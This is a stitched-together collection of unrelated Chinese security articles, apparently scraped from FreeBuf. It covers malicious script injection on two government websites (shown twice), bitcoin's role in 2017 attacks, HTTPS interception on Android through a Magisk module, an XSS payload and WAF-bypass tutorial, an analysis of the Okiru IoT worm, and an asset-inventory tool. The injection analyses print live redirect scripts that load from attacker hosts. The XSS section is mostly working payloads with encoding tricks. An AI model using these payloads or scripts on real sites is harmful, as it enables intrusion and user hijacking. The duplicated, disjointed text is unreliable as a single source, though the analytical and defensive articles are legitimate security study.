中共麒麟区委宣传部网站挂马分析

网站名称

中共麒麟区委宣传部网站

网站域名

www.qlxc.gov.cn

挂马页面

http://www.qlxc.gov.cn/2017/0821/1662.html

挂马代码

<script type="text/javascript" src="http://www.mobilepk10.com/jump.js"></script>

恶意代码

var search=document.referrer
if(search.indexOf("baidu")>0||search.indexOf("so")>0||search.indexOf("soso")>0||search.indexOf("google")>0||search.indexOf("youdao")>0||search.indexOf("sogou")>0)
self.location="http://www.7h2001.com";

代码分析

对页面请求来源进行判断,当请求来源包含“baidu”、“so”、“soso”、“google”、“youdao”、“sogou”等关键字时,页面跳转至“http://www.7h2001.com”。

触发执行

设置请求头为:Referer:http://www.baidu.com/

延边州人力资源和社会保障局网站挂马分析

网站名称

延边州人力资源和社会保障局

网站域名

www.jlyb.lss.gov.cn

挂马页面

http://www.jlyb.lss.gov.cn/archives/20171123/1225/index.html

http://www.jlyb.lss.gov.cn/archives/20171127/1351/index.html

挂马代码

<script src="//m.pu186.loan/p.js"></script>

恶意代码

//51la统计
document.write ('<script language="javascript" type="text/javascript" src="//js.users.51.la/19303457.js"></script>');
//跳转网址
document.writeln("<script language=\"javascript\">window.location=\"http://www.e32689.net/?Agent=pu186vip\";<\/script>")

代码分析

利用JavaScript脚本在页面中写入一段用于统计流量和使页面跳转至“http://www.e32689.net/?Agent=pu186vip”的JavaScript脚本。

中共麒麟区委宣传部网站挂马分析

网站名称

中共麒麟区委宣传部网站

网站域名

www.qlxc.gov.cn

挂马页面

http://www.qlxc.gov.cn/2017/0821/1662.html

挂马代码

<script type="text/javascript" src="http://www.mobilepk10.com/jump.js"></script>

恶意代码

var search=document.referrer
if(search.indexOf("baidu")>0||search.indexOf("so")>0||search.indexOf("soso")>0||search.indexOf("google")>0||search.indexOf("youdao")>0||search.indexOf("sogou")>0)
self.location="http://www.7h2001.com";

代码分析

对页面请求来源进行判断,当请求来源包含“baidu”、“so”、“soso”、“google”、“youdao”、“sogou”等关键字时,页面跳转至“http://www.7h2001.com”。

触发执行

设置请求头为:Referer:http://www.baidu.com/

延边州人力资源和社会保障局网站挂马分析

网站名称

延边州人力资源和社会保障局

网站域名

www.jlyb.lss.gov.cn

挂马页面

http://www.jlyb.lss.gov.cn/archives/20171123/1225/index.html

http://www.jlyb.lss.gov.cn/archives/20171127/1351/index.html

挂马代码

<script src="//m.pu186.loan/p.js"></script>

恶意代码

//51la统计
document.write ('<script language="javascript" type="text/javascript" src="//js.users.51.la/19303457.js"></script>');
//跳转网址
document.writeln("<script language=\"javascript\">window.location=\"http://www.e32689.net/?Agent=pu186vip\";<\/script>")

代码分析

利用JavaScript脚本在页面中写入一段用于统计流量和使页面跳转至“http://www.e32689.net/?Agent=pu186vip”的JavaScript脚本。

微信图片_20171222173627.jpg

在2017年全年的安全事件中,有一条贯穿始终的隐藏线索,这条线索在12月份达到顶峰并广受关注,它就是比特币。

时至今日再来谈比特币,大家想到的可能无非就是近一个月比特币价格的大起大伏,但实际上比特币在今年的安全事件中也扮演了相当重要的角色。

下图是Google Trends对于2017年全年Bitcoin关键字搜索量的统计,其中的这些小高峰,对应的是一场场安全事件。

TIM图片20171227183627.png

贯穿于各大安全事件的比特币

2017年5月 WannaCry爆发

Wana_Decrypt0r_screenshot.png

要说今年最大规模的黑客攻击事件,那就非WannaCry莫属了,这起发生于今年5月的攻击影响到超过150个国家上千家企业及公共组织,感染接近230000台计算机设备。甚至连英国的医院系统也受到重创。WannaCry阻止用户访问计算机或文件,要求用户需付费解锁。而解锁的唯一渠道就是支付价值300美元比特币的勒索金。

事实上,最近美国政府发表的公告表示,他们基于确凿的证据,和多重验证得到结论:朝鲜是WannaCry事件背后的主谋。朝鲜也能兑换比特币吗?别急,朝鲜和比特币的关系可能还真不单纯,我们在后文详细说。

2017年6月底 NotPetya肆虐欧洲

6月底,又一款勒索病毒NotPetya横空出世,据称起初是由于乌克兰的一款叫MEDoc会计软件的升级,这次攻击导致了美国,英国以及欧洲其他国家的港口关闭,超市无法收银,商务工作被迫通过纸和笔来完成。

同样地,NotPetya病毒也要求受害者们支付100比特币解锁文件。

事实上,大量的勒索软件收取赎金的方式都是比特币,一是因为各国的在线支付系统往往不统一,如果想做一款传播范围广泛的勒索软件,使用比特币作为收款渠道就可以保证大部分用户都可以找到相应渠道进行支付;二是因为比特币与生俱来的匿名性。

比特币是一个区块链支付系统,由于其采用密码技术来控制货币的生产和转移,而没有中央的发行机构并且不必经过第三方金融机构,因此比特币有特殊的隐秘性。

交易难以追溯,使得比特币成为了勒索病毒作者们一致的选择。可以说,勒索软件在今年的大爆发一定程度上也推广了比特币。

2017年7月 暗网黑市AlphaBay被查封

AlphaBay_shutdown_notice.png

在经历了丝绸之路、丝绸之路2.0相继遭到关闭的命运后,今年7月,被称为“新丝绸之路”的全球最大黑市 AlphaBay 也走上了“丝绸之路”的老路:服务器被 FBI 掌控,疑似管理员在狱中自杀。

比特币具有很强的匿名特性,而暗网由主要销售一些非法的物品,因此比特币一直是暗网的主要交易货币。但事实上由于比特币的应用极其广泛,AlphaBay的查封对比特币的价格并无太大影响,令人惊讶的是,比特币的价格不降反升。

2017年末 挖矿脚本与挖矿病毒

2017年年末,挖矿病毒变成了新的潮流,这类病毒会使用用户设备的CPU资源挖掘比特币,虽然单个用户无法在短时间内挖掘到比特币,但如果数量足够大,黑客还是有利可图的。因此,这类病毒往往通过一些传播量大的形式扩散。

比如12月19日,知名激活工具KMSpico被曝含有挖矿病毒。这是最热门的激活工具之一。KMSpico带有挖矿病毒“Trojan/Miner”。并且该工具的下载网站在各大搜索引擎中排名都相当靠前。根据火绒安全的阐述,在疑似KMSpico激活工具官网“http://kmspi.co”中下载该工具,电脑将被植入挖矿病毒“Trojan/Miner”,利用被入侵的电脑疯狂挖掘门罗币。

12月20日,Wordpress 站点遭遇大规模暴力破解攻击,攻击者试图获取管理员登录账号,安装门罗币挖矿程序。WordPress 安服公司 Wordfence 表示,每小时平均有 190000 个 WordPress 站点遭受暴力攻击,最高峰时每小时攻击达到 1400 万次。研究人员称,此前暗网上泄露的 14 亿明文账号密码可能加速了此次攻击。攻击者的主要目的是在这些网站中植入门罗币挖矿程序,目前为止,攻击者已经赚取价值至少 10 万美元的门罗币。

除此之外,各类网站也在有意无意地插入挖矿脚本。

9月,海盗湾网站在网页中插入加密货币挖矿脚本,通过嵌入加密货币挖矿程序,利用访问网站的用户计算机算力进行门罗币挖矿,这一举动引发大量用户不满。公司迅速弃用脚本,声称只是为了测试新的收益模式的短期行为,可以让网站放弃以广告为主的收入来源。公司称,“你可能注意到我们在测试门罗币挖矿脚本,这只是一次测试。我们真的想要放弃这些广告业务。但是我们还需要足够的网站运营资金。让我们看到你们对此作出什么评价。你是想看到广告呢,还是想浏览网站时候贡献一点你的周期?当然普通挖矿广告拦截就可以屏蔽挖矿”。

15138176807859.jpg

而12月16日,南方周末的网站主页也被曝出挂了加密货币的挖矿脚本,访问时CPU会被占满。 17日下午,南方周末发布了有关说明,称网站遭到入侵被黑客挂上挖矿脚本,现已查清漏洞,删除植入,用户可放心浏览使用网站。

在各种黑客攻击后,黑客也开始直面攻击比特币交易所。

今年韩国大型比特币交易所Youbit遭遇了两次大规模的安全漏洞,造成大量损失。遭到黑客攻击之后,Youbit的母公司Yapian立即申请破产。在一份官方声明中,优比特团队告诉其用户,在优比特交易所持有的75%的股份将可以获取并准备提取。但是,要索取其余的资金,公司表示,投资者将不得不等到最后解决破产程序。

BN-WR683_NKBITC_G_20171220091838.jpg

据“华尔街日报”报道,熟悉正在进行的对优比特安全漏洞的调查的消息人士已经发现了一些迹象和历史证据,表明北韩国家资助的黑客可能参与并发起了黑客攻击。

有知情人士称,有明显迹象和历史证据表明,朝鲜就是首尔交易所Youbit遭黑客攻击的幕后主使。有趣的是在前阶段美国政府对于WannaCry病毒的报告中,朝鲜也被认为是幕后主使。华盛顿韩国经济研究所(Korea Economic Institute)高级主管Troy Stangarone称,朝鲜是最有可能利用网络攻击和比特币这类金融工具的国家。

事实上从动机上我们也不难理解把精力投在比特币上的原因。在研究核武器之后朝鲜需要大量资金,而在国际上,朝鲜又受到大规模制裁,如何通过无法追查的方法隐蔽地获得大量资金呢?比特币的匿名性和日益攀升的价格提供了完美的选择。

说了这么多,该不该买?

2017年年底,比特币经历了大起大落引起万众瞩目。今年11月中旬比特币的价格还维持在5800美元,随后一路攀升,一度在12月初达到20000美元,然后又下跌了几千美元。

TIM截图20171227182647.png

这样的起伏波动引起了大家的广泛讨论,有些人认为,比特币在11月中旬的攀升与民众把比特币作为感恩节礼物购买有关,而芝加哥期货交易所宣布上线比特币也在一定程度上对价格造成了影响。

关于比特币是不是存在泡沫,泡沫什么时候破裂,金融业、科技行业的专家们都发表过自己的看法。

马里兰大学商学教授 Brent Goldfarb 和 MIT 历史学家 William Deringer 称,比特币和他们研究过的泡沫有明显的相似之处。泡沫通常是由新技术驱动,比如上世纪末的互联网泡沫,或者是新的金融创新,比如导致 2008 年金融危机的金融工程学。

安全圈大佬余弦也在他的Telegram频道中表示比特币不合适长线投资。

evil.png

而雅虎联合创始人杨致远则表示,“就我个人而言,我相信数字货币如何能够在我们的社会中发挥作用。但是现在看来,它更多的是受到投资和获取回报的炒作的驱使,而不是用它作为交易货币。”

毫无疑问,比特币的特性,包括它的匿名性、不依赖第三方交易机构的特点是其独特的价值所在,而在前文所述的那些安全事件中,比特币的地位毋庸置疑。随着勒索软件的崛起和暗网市场的猖獗,比特币进一步攀升也不是不可能。于此同时我们也需要留意一些风险。最大的风险来源于政府,大量政府正在尝试对比特币进行管制,其中不乏一些比特币的重要市场,俄罗斯政府就曾表示过要全面禁用比特币;而韩国作为全球三个最大比特币交易所的所在地也在采取措施,虽然韩国禁止所有金融机构参与虚拟货币,但遏制不了投资者的疯狂投资,12月13日,韩国就加密货币问题召开紧急会议,打算进一步遏制比特币交易;作为一款绝佳的洗钱工具,比特币的出现考验的是各国的监管能力,在没有合适的监管手段之前,很多国家都可能采取消极的方法禁止比特币交易。

事到如今,谁也无法预测比特币近乎疯狂的走势,但本篇文章希望做的,是帮助大家认识比特币的现实价值和可能的风险,理性、清醒地看待投资。

*本文作者:vulture,转载请注明来自FreeBuf.COM

1.png

在任何环境下的移动端安全审计中,肯定都会涉及到拦截HTTPS流量。通过向Android应用添加自定义的CA,我们就可以轻松完成HTTPS流量拦截了。但是对于Android Nougat(Android 7),应用程序并不会轻易信任客户端证书,除非应用程序指定要使用这个证书。那么在这篇文章中,我们将跟大家介绍一个新的Magisk模块【MagiskTrustUserCerts】,这个模块可以自动将客户端证书添加到系统层信任的storage,而所有的应用程序默认会信任这种类型的证书,所以该模块正好满足我们的需要。

HTTPS拦截的基本方法

在Android平台上拦截HTTPS流量其实并不复杂,它只需要几步便可以实现:

1.   将Burp设置为我们的代理;

2.   访问http://burp

3.   将Burp证书以用户证书的形式安装;

4.   开始拦截流量

2.png

3.png

4.png

完成上述步骤之后,你就可以查看到所有从目标用户浏览器发送的HTTPS流量了。关于这部分内容,感兴趣的同学可以参考Portswigger的官方文档【参考文档】。

在此之前,上述的这种方法甚至还适用于桌面端应用程序的流量拦截,因为应用程序默认会信任所有安装的用户证书。如果你想防止应用程序的流量被拦截的话,你可以尝试使用证书绑定。证书绑定意味着每一个SSL通信连接的证书(服务器端)都需要跟本地存储的证书版本进行比对。如果服务器能够提供正确的身份凭证,连接才能够成功建立。这是一种非常好的安全功能,但是在开发人员的实现过程中却会存在各种各样的安全问题。

进入Android Nougat(Android 7)

从Android Nougat开始,应用程序默认不会信任用户证书。虽然开发人员可以通过配置应用程序AndroidManifest.xml文件的networkSecurityConfig属性来选择接受用户证书,不过默认情况下这些证书仍是不受信任的。

首先我们要做的就是对目标应用程序进行反编译、修改和重新编译,这部分可能需要你多花点时间了。如果应用程序采用了某些反编译保护机制的话,这就非常麻烦了,关于该技术的细节信息可以参考securestate.com给出的参考文档【传送门】。

另一种方法就是将用户证书添加到系统商店之中。系统商店位于/system/etc/security/cacerts路径下,其中包含了与已安装root证书相关的文件。

5.png

最简单的解决方案就是将用户证书文件(位于目录/data/misc/user/0/cacerts-added内)直接拷贝到这个文件夹内。如果系统是以r/w加载的话,我们就需要重新加载/system分区,然后使用一些root检测算法来检测修改是否成功。

使用Magisk

Magisk是一种“通用型的系统接口”,它可以在不对系统本身进行任何修改的情况下实现一些系统层功能。实际上,Magisk并不会对/system分区进行修改,而这对于安全审计活动来说是一种非常大的优势,因为我们不用再需要对设备进行root了。通过激活目标设备上的“Magisk Hide”功能,Magisk将完全对用户不可见。

Magisk还支持很多自定义的模块,而这类模块的制作也非常简单。为了让任意的用户证书被识别为系统证书,我们制作了一个简单的Magisk模块,并将其上传到了GitHub代码库中【GitHub传送门】。

该模块的实现逻辑如下:

1.   寻找已安装的用户证书;

2.   将它们添加到/system/etc/security/cacerts目录中;

安装完成之后,Magisk模块的内容将会被加载到/magisk/trustusercerts/。这个文件夹中包含有多种文件,但最重要的就是system目录。这个目录会自动跟真实的/system目录合并,但不会对/system分区进行修改和操作。这样一来,所有位于/magisk/trusteusercerts/etc/security/目录下的证书最终都会出现在/system/etc/security目录中。

模块的使用方法也非常简单,使用步骤如下所示:

1.   安装模块;

2.   通过常规方法安装证书;

3.   重启设备;

安装完成之后,证书将会出现在设备的系统信任商店之中,并且所有的应用程序默认都会信任该证书。

6.png

7.png

总结

当然了,如果应用程序实现了SSL绑定的话,那你还是没办法拦截到HTTPS流量,但是这个Magisk模块可以让Android Nougat应用按照之前Android平台的应用程序一样去运行。在提升该模块功能方面(在Magisk层禁用SSL绑定),如果你有任何意见或者建议的话,可以直接在本项目的GitHub主页上留言。

* 参考来源:nviso,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

XSS让我们在渗透中有无限的可能,只要你发挥你的想象。  引用一位前辈总结的很贴切的一句话——“XSS使整个WEB体系变得具有灵性” 。

网上关于XSS的教程数不胜数,转载来转载去的,就是那么些Payload,可能看的人晕晕的不知所以然。而且还有很多Payload就算把其中的HTML代码闭合后写在自己的前端中,都不一定触发,因为很多老的标签和事件都已经被W3C给废弃了。本文首先给大家总结一下目前通用可以拿来构造XSS的HTML标签和一些标签事件,然后再给大家讲述一些绕过的技巧,教你在么构造出属于你自己渗透时真正需要的Exp。

可以成功执行的标签

<a href="javascript:confirm('a')" >1</a >

a标签 当点击时才会触发  

<img src=# onclick=javascript:alert(‘img:onclick’) onerror=javascript:alert(‘img:onerror’) onload=javascript:alert(‘img:onload’)>

<!–src加伪协议js代码不能触发–>

<video src=# onclick=javascript:alert(‘video:onclick’) onerror=javascript:alert(‘video:onerror’) onload=javascript:alert(‘video:onload’)></video>

<audio src=# onclick=javascript:alert(‘audio:onclick’) onerror=javascript:alert(‘audio:onerror’) onload=javascript:alert(‘audio:onload’)></audio>

<!--这些标签中src加伪协议js代码不能触发,IE8以前的时候可以-->

img、video、audio标签   onclick:点击触发   onerror:当src加载不出来时触发   onload:当src加载完毕触发

<iframe src=    "javascript:alert('iframe')" width    = "0" height        = "0"/>

iframe标签,写入后网页加载自动执行

<form action= "Javascript:alert('from_action0')">

<input type= "submit" formaction=" JaVaScript:alert('from_action2')">

<input type= "image" formaction=" JaVaScript:alert('from_action1')">

<input type ="text" onchange ="JaVaScript:alert('from_action3')"> 

在表单中一些标签,前三个都要点击事件触发,最后一个是得到改变内容时触发

<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>

<svg onload=" javascript:alert('svg')"></svg >

<body onload= "javascript:alert('body')"></body>

<select autofocus onfocus="javascript:alert('select' )"></select>

<textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>

<keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>

<audio><source onerror="javascript:alert('source')"></ audio>

一些事件标签 要对应的事件发生可以触发 加上autofocus可以自动触发

目前整理出来在各个浏览器通用的就是这些 以后会持续更新 可以关注我的博客或者DX安全团队

一些绕过姿势

首先,有一些脚本小子可能还不知道什么是exp,所谓exp就是一个精心构造可以配合或者绕过WAF成功触发XSS的一段代码,网上那些一发就是一大段的Payload可能到你那里就不合适了,因为Exp是需要针对性构造的。

想要写出一个能触发的Exp,需要不停的探测输入于输出,推测WAF过滤规则,一般都会先输入” ‘ / # on < script > 等特殊字符,然后到输出点,查看是否可以正常输出,如果输入<>还正常输出了,那么有可能是被实体编码了,所以最好不要在网页中看或者审核元素看 应该右键查看源代码进行定位,这才是最好的办法,当然你也可以写一些小插件,都是很Nice的。对于<>被过滤实体编码的可以试试一些on事件,不行就看看下面的一些姿势吧!

百分再百分

看了标题是不是很疑惑,什么百分又百分,难道是百分百绕过?美滋滋?哈哈 我就是内标题党一次。

所谓百分再百分,就是把%给url编码成%25 如果在后台对参数有再次进行urldecode,或者输出时有urldecode那么就可以绕过WAF,所以各位在造轮子,千万小心画蛇添足

Base64编码绕过

有时候真的这么绕WAF不拦截你的<>”的时候,拦截script、还有触发事件如onxxxx的时候,不妨试试Base64编码来绕过

譬如<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>

把关键的XSS语句转化成base64来绕

HTML实体编码的利用绕过waf

记得以前一个案例,我用PHP按照记忆还原了一下 大概代码是这样的

<a href=” <?=$_GET['localurl']; ?>” ></a>   不过对输入的参数过滤的很严格 看到有on script “等等敏感词语就直接exit了 所以什么构造alealertrt(“X”)利用过滤什么都是无效的。这里就可以利用实体编码。实体编码明明是一种防止XSS的办法吗为什么会被拿来绕过WAF呢,很多朋友可能就有所疑惑。实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的,当时依然可以构造XSS 如下语句是可以在各大浏览器执行的 

<a href= javascript:alert&#40;&#39;123&#39;&#41; >Hello</a>

<a href= j&#97;vascript:alert&#40; ’123′ &#41;>Hello</a >

<a  href=  j&#97;vascript:alert&#0000040;  ’123′ &#41;>Hello</a >

<a  href=  j&#97vascript:alert&#0000040’123′ &#41>Hello</a >

tip其实在标签内的所有伪协议JS代码都是可以不用用双引号引起来的。

加上eval函数后甚至可以是这样的(eval认识\x十六进制 \八进制 \uunicode码 )记得把这些编码用引号引起来

<a  href="j&#97;vascript:eval('&#97;\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a  href="j&#97;vascript:eval('&#97;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

<a  href="j&#97;vascript:eval('&#97;\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

URL中有可以自定义控制前端编码

这也是我时不时就会遇到的,譬如一个url如下:www.0d9y.cn/?charset=‘utf8′&…&xss=alert(/xss/)

其实就能很简单的过WAF和任何函数过滤,原因很简单,你能控制charset,这时候用一些特殊的编码,编码中会有一些字符浏览器不识别, 然后把你的注入语句中关键词插入这个编码,就能很轻松的成功触发XSS。

譬如ISO-2022-JP编码中的%1b%28%4Aurl编码,各大浏览器都是不认识的。

宽字节绕过

其实宽字节真的是老生常谈了,不过你们知道除了SQL注入,XSS也是可以利用的么,我在之前的文章说过宽字节的原理,所以你只要前端的编码是GKBK 那就可以用宽字节来绕过

头部Base绕过

这个挺冷门,听过但是我自己都还没遇到过,就是如果可以控制head中的base里的src 那么接下来所有的链接文件,都是会在开头加上base里的src链接的,在自己的网站上线一个符号的js文件。

平时搞XSS可能会用得到的技巧

Referer为空才可以访问

有一些界面为了避免是别的地方跳转过来的 Referer必须为空,那什么情况Referer为空呢,第一是HTTPS协议到HTTP的协议,这时候Referer为空,或者用嵌入一个iframe用data加base64编码的方式,还可以用<meta name=”referrer” content=”never” >来达到referer为空

注意返回的type类型

返回什么样的类型决定了浏览器渲染还是不渲染你的XSS代码,只有返回的是XML或者HTML 才有可能会执行成功你的XSS代码,不过不同浏览器的特性不同,有一些返回的type类型可能也是可以执行XSS的,尤其是一些老的ie浏览器,具体可以看看freebuf之前发布过的一篇关于type和浏览器执行的表格。

阻止浏览器302跳转

总所总之,浏览器遇到302,301会直接跟进头部的跳转链接,可是有时候XSS界面就是这个跳转页面,这个跳转url是可控的,并且在浏览器显示如果浏览器没有正确跳转,请点击XXX的字样。那怎么样才可以让浏览器不自动跳转呢?一种就是把跳转的url端口设置低于80 譬如输入http://xss.com:0”  onclick=”alert(/1/) ,还可以使用CSP策略嵌入一个iframe 拿来配合CRLF进行XSS会很舒服

注意头部的X-XSS-Protection

这个东西就是让浏览器帮助一起防御XSS 为0则不帮助,为1则把可能含有的在代码中直接拿掉,还有一个是类型1;black这样的,就是在url地址直接把认为可能是xss的拿掉,所以有时候并不是你的XSS代码被服务器过滤了,还有可能是被浏览器拿走了

凭空想想到的差不多就这些了,其实更多就是在实践中灵光一现,利用自己的基础知识来合理构造,构造payload不应该脱离实际,异想天开,基础一定要打好。博客也会发一些日常遇到的坑。

*本文作者:0d9y,转载请注明来自FreeBuf.COM

引言

近日腾讯反病毒实验室蜜罐系统监控到大量名为Okiru(satori)的IoT蠕虫活动情况。不同于传统的Mirai病毒利用弱密码传播,该蠕虫使用了华为路由器0day漏洞进行大规模传播,无需获得密码就能够控制受害设备,然后从感染设备上发起第二轮的网络攻击。鉴于Okiru的危害性较强,攻击范围较广,本文会结合蜜罐捕获的攻击证据对该蠕虫进行技术分析,重点分析Okiru是如何利用0day漏洞进行传播的。

一、Kill Chain

本次用于分析的Okiru蠕虫横跨各种IoT平台有ARM, MIPS, i386, x64, sparc。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

首先样本表现出极强的对抗性,一但运行就会将自身删除。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

接着样本会使用socket, bind, listen制造一个后门端口1400. 然后样本操作了/dev/watchdog文件,该文件是IoT设备独有的看门狗设备。样本继续会向随机地址的23端口发送telnet数据包,试图进行传统的弱密码爆破。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

在腾讯哈勃向VirusTotal提交的动态日志中,也能观察到大量的针对23端口的攻击信息。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

 

值得注意的是,该样本对弱密码对进行了混淆操作,避免在病毒体内包含root:admin这样的特征字符串。从下图可以看出root被混淆成uhhs.

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

从加密算法上看,只使用了简单的XOR加密。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

关于连接CC服务器方面,样本非常狡猾。我们观察到样本连接了176.123.30.27:7645端口。在PassiveTotal上显示该IP来自欧洲的摩尔多瓦

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

 腾讯蜜罐系统捕获高危IoT蠕虫Okiru

其次在VirusTotal上显示,该IP还作为了病毒文件的分发服务器。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

最后在样本的资源文件中还隐藏了一个CC域名:network.bigbotpein.com,但是没有观察到相关的活动信息。

二、0day分析

该样本不同于普通的弱密码爆破型蠕虫,它使用了针对华为路由器的0day漏洞进行传播,这里会对该漏洞进行技术分析。目前华为已经对漏洞(CVE-2017-17215)进行了修补,请相关用户及时升级。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

首先这个漏洞属于远程执行漏洞,即攻击者只需要能够向受害设备发送网络请求,就会执行攻击者指定的命令。其次漏洞利用的方式是命令注入,就是程序对输入的请求没有进行严格验证,导致攻击者精心构造的命令被受害设备执行了。

有漏洞的服务,开启了37215端口,该端口是华为路由器UPnP的服务端口,从下图exp中可以看出,攻击者试图访问HuaweiHomeGateway上的DeviceUpgrade服务,利用命令注入攻击,将payload 注入到了<NewStatusURL>里面。Payload就是简单的利用wget下载蠕虫文件,然后执行。这里除了命令注入还利用了大量的0×22字符,即双引号,试图对认证字符进行截断,绕过认证过程。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

最后下载的病毒样本,不光包括本平台的,还包括了ARM,MIPS等多种平台的样本。可见该蠕虫会在不同种类的IoT平台上进行交叉传播。

三、1day分析

样本除了使用华为设备的0day漏洞进行传播外,还使用了一个古老的漏洞(CVE-2014-8361),该漏洞针对的是Realtek SDK中的UPnP服务(52869端口)。由于该漏洞暴露的时间比较旧,技术手段同属于命令注入,这里就不进行详细分析了。下图是样本中的exp.

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

四、危害性分析

在zoomeye和shodan中搜索华为设备,全球出现了两千万的设备,都有被攻击的风险。可见针对IoT的蠕虫攻击带来的危害是非常大的。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

五、蜜罐产品介绍

在捕获Okiru的过程中,腾讯反病毒实验室的蜜罐系统起到了非常重要的作用。其中实验室同清华大学合作的学术论文《一种用于恶意软件取证的IoT蜜罐系统》,发表于AVAR亚洲反病毒大会,论文揭示了有越来越多的不法分子盯上存在安全缺陷的各类IoT设备,企图发动预谋攻击行为的趋势,并提出利用蜜罐系统对此类攻击进行监控和取证的解决方案。这次Okiru蠕虫的捕获,从现实环境中验证了论文中提出的观点。

腾讯蜜罐系统是腾讯公司反病毒实验室研发的一款网络攻击和恶意代码捕获系统。该系统能够为威胁情报 、攻击溯源和态势感知等需求提供及时真实和详实的数据支持,符合要求的数据可以作为网络攻击活动的数字证据。

腾讯蜜罐系统支持传统PC设备,新兴的IoT设备另外还能够支持定制化设备,可以支持在公有云、私有云和IoT硬件等多种环境下综合部署。在全网部署实施后能够实时监控网络攻击事件,为攻击预警提供量化建议,为攻击溯源提供高质量的数字证据。

下图是蜜罐系统监控到的ssh登陆告警行为。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

不仅仅是普通的ssh弱密码爆破攻击,蜜罐还能对特殊攻击进行攻击取证和攻击溯源。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

最后蜜罐系统能够基于大数据统计,能够给出攻击的统计图表。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru

六、总结

本文针对腾讯反病毒实验室的蜜罐系统捕获的Okiru蠕虫攻击进行了技术分析,详细分析了蠕虫利用路由设备的0day漏洞进行传播的过程。从该蠕虫暴露出的信息可以看出,针对IoT设备的攻击方式已经从初级的弱密码爆破手段升级成为技术难度更高的漏洞利用手段。随着攻击手段的提高,相应的防御策略需要进行调整,才能更好的进行预防。在捕获IoT新型攻击方面,蜜罐能够提供准确的攻击证据,包括样本文件、CC服务器域名和地址、网络流量和漏洞利用的exp等信息,对攻击事件的响应起到了重要作用。

参考资料

1. https://www.securityartwork.es/2017/12/18/analisis-linux-okiru/

2. http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn

3. http://www.techweb.com.cn/prnews/qiyenews/archives/53670.html

*本文作者:腾讯电脑管家;转载请注明来自 FreeBuf.COM

前言

中小企业的边界安全存在两个基础元素,公网IP和域名,自动化收集公网IP和域名信息是本文的重点。

安全需求

公网信息收集,存在两个基本需求,收集公司相关域名和公网IP地址。

域名收集

域名的收集多种多样,像渗透测试常用的爆破、枚举、泄露等等方法,都是处于纯黑盒状态下的资产收集,在企业安全建设中,我更加倾向于白盒思路,有更加明确的资源为什么还要自个偷摸收集。收集的思路很多,比如:DNS服务、日志、服务器配置、负载均衡配置等等资源,本项目主要利用的就是DNS服务商解析列表和Nginx负载均衡的模式进行域名收集的。

IP收集

通常的中小企业公网IP组成部分为IDC出口IP、云IP、办公网IP等三种,其中IDC出口IP和办公网IP这两种变化较小,可通过咨询和查问等方式获取,但云IP这块根据业务和开发的不同变化较大,需要我们及时的收集整理。

开源项目

项目地址

https://github.com/grayddq/PubilcAssetInfo

项目介绍

此项目的本意是自动化收集相关域名和BAT云的IP资产。

作者

咚咚呛,如有其他建议,可以联系作者微信:280495355

满足安全需求

支持如下域名服务

1)Nginx(openresty、tengine)配置文件解析
2)腾讯云 DNSPod域名解析
3)阿里云 万网域名解析
4)百度云 BCD域名解析

支持如下公网IP获取服务

1)阿里云:支持ECS云主机服务;支持SLB负载均衡服务;支持弹性公网IP服务
2)百度云:支持弹性公网IP服务;(百度大部分服务都是基于弹性公网来对外提供IP)
3)腾讯云:支持弹性公网IP服务、CVM云服务器

安装

git clone https://github.com/grayddq/PubilcAssetInfo.git
sudo pip install -r requirements

介绍

PubilcAssetInfo
----conf   #配置目录
----lib    #模块库文件
----log    #日志目录
----out    #输出目录
----PubilcAssetInfo.py   #主程序

配置

#配置目录:./conf/info.conf
#以下相关配置信息不填写则不进行检测

[Nginx]
# Nginx 配置文件如 /opt/nginx/conf/nginx.conf
Nginx_file = 
# Nginx 配置目录如 /opt/nginx/conf
Nginx_dir = 

[AliYun]
# AccessKey需开通AliyunDNSReadOnlyAccess、AliyunSLBReadOnlyAccess、AliyunEIPReadOnlyAccess、AliyunDNSReadOnlyAccess权限
AliYun_AccessKeyId = 
AliYun_AccessKeySecret = 

[DNSPod]
# DNSPOD的用户login_token
DNSPod_Login_Token = 

[BaiDuYun]
# 需开工单对客服申请域名服务API权限
BaiDuYun_AccessKey = 
BaiDuYun_AccessKeySecret = 
# 由于百度API/SDK 接口并不支持根域名列表获取,故只能事先填入根域名列表,如
Baidu_ROOT_Domain_List = graygdd.top,grayddq.top

[Tencent]
Tencent_SecretId = 
Tencent_SecretKey = 

[OPTIONS]
#输出文件,默认不填写为当前目录
output = 
#过滤域名,默认不填写则不过滤
filter_domain = 
#不填则为域名和公网IP,可选 domain/ip
type = 
#日志路径,默认本目录/log/process.log
log = 
#各环节结果详情 True/False
details_info = 

运行截图

结果默认保存在./out目录

Screenshot.png

DNSPod

DNSPod_Login_Token 是由 ID,Token 组合而成的,用英文的逗号分割

参考:https://support.dnspod.cn/Kb/showarticle/tsid/227/

Aliyun

AccessKeyId参考:https://help.aliyun.com/document_detail/60884.html

建议开通AliyunDNSReadOnlyAccess、AliyunSLBReadOnlyAccess、AliyunEIPReadOnlyAccess、AliyunDNSReadOnlyAccess权限

